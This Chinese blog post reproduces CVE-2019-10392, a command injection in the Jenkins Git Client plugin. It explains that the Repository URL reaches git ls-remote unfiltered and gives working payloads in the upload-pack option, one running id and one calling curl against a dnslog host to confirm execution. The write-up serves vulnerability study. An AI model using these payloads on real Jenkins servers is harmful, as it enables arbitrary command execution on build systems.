漏洞复现----1、Jenkins Git Client插件命令执行漏洞(CVE-2019-10392)


一、Jenkins简介

Jenkins是一个独立的开源自动化服务器,由JAVA开发。
可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告等。
Jenkins可以通过本机系统包Docker安装,也可以通过安装Java Runtime Environment的任何机器独立运行。
在很多中大型金融企业中普遍使用Jenkins来作为项目发布工具。

Jenkins服务安全加固

Jenkins特点:
开源免费,多平台支持(windows/linux/macos);
主从分布式架构;
提供web可视化配置管理页面;
安装配置简单、插件资源丰富.

二、漏洞简介

Git Client插件为Jenkins插件提供了git应用程序编程接口(API)。 它可以获取,签出,分支,列表,合并和标记存储库。Git Client接口提供git访问的主要入口点,它支持Jenkins凭据插件提供的用户名/密码凭据和私钥凭证。

该漏洞源于Git客户端插件接受用户指定的值作为调用git ls-remote的参数,以验证指定URL处是否存在Git存储库。 这是以允许具有Job/Configure权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现的。由于接收用户输入Repository URL而没有做过滤,导致了与git ls-remote命令拼接,执行了用户可控的命令。

影响版本
Git client Plugin <= 2.8.4

三、漏洞复现

登录后,创建一个新任务。构造一个自由风格的项目,然后点击确认提交。
在这里插入图片描述

在源码管理处选择git,然后在Repositories功能的Repository URL插入我们payload,将要执行的命令包含在upload-pack选项中。

--upload-pack=`id`  //反引号

在这里插入图片描述

--upload-pack=`curl 4y6heb.dnslog.cn`

在这里插入图片描述

在这里插入图片描述


参考链接:
https://mp.weixin.qq.com/s/Axx7KYm9irAQv7ZIO8autg

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值